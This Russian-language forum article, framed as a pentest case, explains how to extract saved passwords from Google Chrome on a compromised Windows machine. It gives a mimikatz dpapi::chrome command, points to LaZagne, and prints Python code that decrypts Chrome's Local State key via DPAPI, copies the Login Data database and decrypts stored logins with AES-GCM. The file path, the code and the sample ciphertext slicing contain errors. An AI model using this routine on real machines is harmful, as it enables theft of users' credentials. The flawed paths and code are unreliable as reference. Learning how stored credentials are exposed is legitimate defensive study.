Приветствую, форумчане!
Данная тема будет интересна тем, кто сохраняет учетные записи в браузере. Сначала ответим на вопрос, который возникнул в предыдущей статье, а именно: Ради чего этот пароль искать OSPF, что бы что? И что дальше то с этим делать?
Напоминаю, что пароли это один из важнейших аспектов ИБ и часто используются для защиты информации от несанкционированного доступа. В OSPF парольная аутентификация — это мера безопасности, которую можно использовать для защиты маршрутной информации OSPF от изменения или подделки.
То есть имея пароль, злоумышленник может легко подключиться к домену маршрутизации и вносить изменения. При этом, одной из основных причин использования аутентификации OSPF является предотвращение формирования окружения OSPF неавторизованными устройствами, что, в свою очередь, запрещает доступ к сети и манипулирование ей.
При защитите домена маршрутизации с помощью аутентификации, нужно убедиться, что используемые вами пароли достаточно надежны, а не такие стандартные пароли как в ctf ????.
Итак — начнем!
Многие из нас имеют такую привычку сохранять в браузере свои учетные записи для того, чтобы каждый раз их не вводить при аутентификации. Идея, конечно, хорошая, но иногда эта привычка идет против внутренней политики безопасности определенных компаний и имеет неприятные последствия. Однако, несмотря на ограничения, сотрудники продолжают это делать, ведь никто не проверяет их рабочие ПК до тех пор, пока в компании не провидится аудит безопасности. Статья, которую читаете основана на реальном кейсе.
Расскажу быстро историю. Друг меня пригласил принять участие в анализе защищенности, где в процессе работы нам удалось закрепиться в системе. Далее пришла такая идея - проверить какие внутренние сервисы есть в компании; и мы решили прошерстить браузеры сотрудников (в договоре был пунктик, который нужно было выполнить).
В качестве браузера для данной статьи используется «google chrome», предполагаем, что мы прошли/или находимся на этапе «Post-exploitation» (т.е. оставили имплант и наша целевая система под контролем), а теперь посмотрим на файлы, которым стоит уделить особое внимание в «google chrome»:
Local State : Json файл, который содержит криптографический алгоритм и ключ шифрования (["encrypted_key"]) для ОС. (см. Рис).
Путь к файлу : "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Login Data\Local State"
Этот ключ используется для шифрования/расшифрования паролей. Важно отметить, что хром использует Симметричный алгоритм шифрование AES. Основное, что нужно знать в AES - это длина ключей, количество раундов при шифровании/расшифровании и режимы.
Login data : в этом файле бинарные данные и SQLite скрипт для создания таблиц БД. Зашифрованный пароль хранится в базе данных SQLite. Нас больше интересует таблица «logins»
Путь к файлу : "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
Для расшифрования файла login data есть разные инструменты:
-
mimikatz – удобный инструмент для пентеста в AD.
При наличие masterКey (sekurlsa::dpapi) можно просто:
dpapi::chrome /in:"c:\<путь до Login data>Login Data" /unprotect /masterkey: <hash>
Lazagne - хороший инструмент для восстановления паролей (https://github.com/AlessandroZ/LaZagne)
-
Script на «python» и на «Golang» (Github code source)
Script на «Golang» - потому, что можно скомпилировать под разные платформы.
Эти скрипты имеют три основные функции:
1– Получение приватного ключа (secretKey из Local State)
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
with open( CHROME_PATH+"\Local State", "r", encoding='utf-8') as f:
localState = f.read()
localState = json.loads(localState)
secretKey = base64.b64decode(localState["os_crypt"]["encrypted_key"])
#2- Удаляем суффикс DPAPI
secretKey = secretKey[5:]
secretKey = win32crypt.CryptUnprotectData(secretKey, None, None, None, 0)[1]
2 – Получение данных из ДБ SQLite (Tаблица «logins»)
chrome_path_loginDB = CHROME_PATH + " \Login Data"
shutil.copy2(chrome_path_loginDB, "Logindata.db")
#Подключение к базе данных sqlite
conn = sqlite3.connect("Logindata.db")
cursor = conn.cursor()
#Select data in table logins
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for _,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
cipherText= login[2]
3 – Расшифровка cipherText
Чтобы повысить безопасность, добавляется к паролю вектор инициализации (случайная строка данных), что усложнит взлом пароля злоумышленнику (это то же самое, когда добавляем соль чтобы модифицировать входа хэш-функции).
cipherText = вектор инициализации (случайная строка данных) + зашифрованый пароль.
cipherText = b'v10\xf2M\x17S\x17WX\x8a^\x8fQ\x11\xff\xfb\r\xbf\x10\xca\xbf\xbfo\x51?\xc3\xbf\xcb\x17\xd1#J\xdcV?_o\xf2\x05B\x0c'
initialisation_value: b'\xf2M\x17S\x17WX\x8a^\x8fQ\x11'
encrypted_password: b'\xff\xfb\r\xbf\x10\xca\xbf\xbfo\x51?'
вектор инициализации = initialisation_value = cipherText[3:15]
зашифрованый пароль = encrypted_password = cipherText[15:-16]
cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_value)
decrypted_pass = cipher.decrypt(encrypted_password)
decrypted_pass = decrypted_pass.decode()
Вывод
Эти данные в браузере помогают злоумышленнику быстро ознакомиться с внутренними сервисами и двигаться дальше.
«google chrome» это только браузер, а не менеджер паролей. Для хранения лучше всего подойдут уже существующие решения - keepass 3.x, passbolt и др.
Будут кейсы пишите на почту (jjjmaxime@mail.ru - Я ИП поэтому все по белому ???? )
Спасибо за внимание !
Мерси Мон Ами ????
Комментарии (8)
vilgeforce
07.08.2023 08:28" асимметричный алгоритм шифрование AES " - с каких это пор AES стал асимметричным алгоритмом?!
prizrakjm Автор
07.08.2023 08:28Симметричный алгоритм шифрование AES
симметричный алгоритм блочного шифрования (размер блока 128 бит, ключ 128/192/256 бит)
ivankudryavtsev
Я одного не понял... При чем здесь OSPF? Маршрутизация OSPF используется в защищенном бэкбоне. Там пароль только для защиты от подмены оборудования, чтобы быстро все сломалось, по сути. Если вы не можете защитить бэкбон сети от подключения стороннего оборудования, никакой вам пароль в браузере, не в браузере не поможет, потому что тогда поди и по TFTP можно загрузить нужный конфиг.
Спутанный поток сознания, видимо вначале была какая-то тактика, но Вы ее не придерживались... Делайте как в видео:
prizrakjm Автор
Разные темы.
Была первая статья по OSPF и на вопросы ответил.
https://habr.com/ru/articles/742848/ (OSPF)
prizrakjm Автор
https://habr.com/ru/articles/742848/